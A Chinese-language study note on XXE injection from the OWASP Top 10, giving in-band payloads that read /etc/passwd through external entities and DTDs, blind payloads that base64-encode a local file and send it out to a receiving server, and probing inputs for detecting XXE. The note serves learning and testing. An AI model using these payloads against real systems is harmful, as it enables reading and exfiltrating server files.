OWASP TOP10 XXE

参考链接

https://bbs.ichunqiu.com/thread-44306-1-1.html
http://www.freebuf.com/column/156863.html
https://security.tencent.com/index.php/blog/msg/69
https://xz.aliyun.com/t/2571#toc-10
http://www.w3school.com.cn/dtd/
jarvis oj API调用就是XXE漏洞的利用

这些网站对XXE 的解释以及利用防御都已经十分详细(由于机器环境限制,并没有完整复现,简单做下笔记,留坑以后补)

  libxml2.9.1及以后,默认不解析外部实体。可以在此了解libxml各版本具体改动情况。本次测试在Window下使用的php5.4.45(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。当XML声明中standalone值是yes的时候表示DTD仅用于验证文档结构,外部实体将被禁用。但它的默认值是no,而且有些parser会直接忽略这一项。

如何构造外部实体注入攻击

  一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。
  有回显的payload写法:

  1. 直接通过DTD外部实体声明。XML内容如下:
    <?xml version="1.0"?>
    <!DOCTYPE ANY [
            <!ENTITY test SYSTEM "file:///etc/passwd">
    ]>
    <abc>&test;</abc>
  2. 通过DTD文档引入外部DTD文档,再引入外部实体声明。XML内容如下:
    <?xml version="1.0"?>
    <!DOCTYPE a SYSTEM "http://localhost/evil.dtd">
    <abc>&b;</abc>
    evil.dtd内容:
    <!ENTITY b SYSTEM "file:///etc/passwd">
  3. 通过DTD外部实体声明引入外部实体声明。XML内容如下:
    <?xml version="1.0"?>
    <!DOCTYPE a [
            <!ENTITY % d SYSTEM "http://localhost/evil.dtd">
    %d;
    ]>
    <abc>&b;</abc>
    evil.dtd内容:
    <!ENTITY b SYSTEM "file:///etc/passwd">
    但是如果想通过如下声明是不可以的:
    <?xml version="1.0"?> 
    <!DOCTYPE a [
    <!ENTITY d SYSTEM "http://localhost/evil.xml">
    ]>
    <abc>&d;</abc>
    测试发现这种实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,参数实体就好用很多。
      无回显的payload写法:
  4. 第一种无回显示payload写法:
    <?xml version="1.0"?> 
    <!DOCTYPE a [
    <!ENTITY % file SYSTEM "file:///c://test/1.txt">
    <!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> 
    %dtd; %all; 
    ]> 
    <abc>&send;</abc>
    其中evil.xml文件内容为
    <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost%file;'>">
    调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用实体send。
  5. 第二种无回显payload写法:
    <?xml version="1.0"?>
    <!DOCTYPE a [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
    <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
    %dtd;
    %send;
    ]>
    <abc></abc>
    其中evil.xml文件内容为:
    <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;
    调用过程和第一种方法类似,但最里层的嵌套里%要进行实体编码成%。无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。
      这里注意参数实体引用%file;必须放在外部文件里,因为根据这条 规则 。在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部,否则解析器会报错: PEReferences forbidden in internal subset。这里的 internal subset指的是中括号[]内部的一系列元素声明,PEReferences 指的应该是参数实体引用 Parameter-Entity Reference 。
      一般都使用第二种方法,因为当文件中含有中文字符或<字符,会导致不能解析。

寻找XXE

检测xml是否被解析
  尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据。
单双引号 ‘ “ :XML的属性值必须用引号包裹,而数据可能进入标签的属性值。
尖括号< > :XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常。
注释符作注释。
& :& 用于引用实体。
CDATA 分隔符]]> :中的内容不被解析器解析,提前闭合引发异常。
检测是否支持外部实体解析
  尝试利用实体和DTD。
引用外部DTD文件访问内网主机/端口 :(看响应时间)
引用外部DTD文件访问外网 :
引用内部实体 :]>&xxe;
外部实体读本地文件 :]>&xxe;
外部实体访问内网主机/端口 :(看响应时间)
外部实体访问外网 :]>&xxe;
判断问题存在可以OOB提取数据。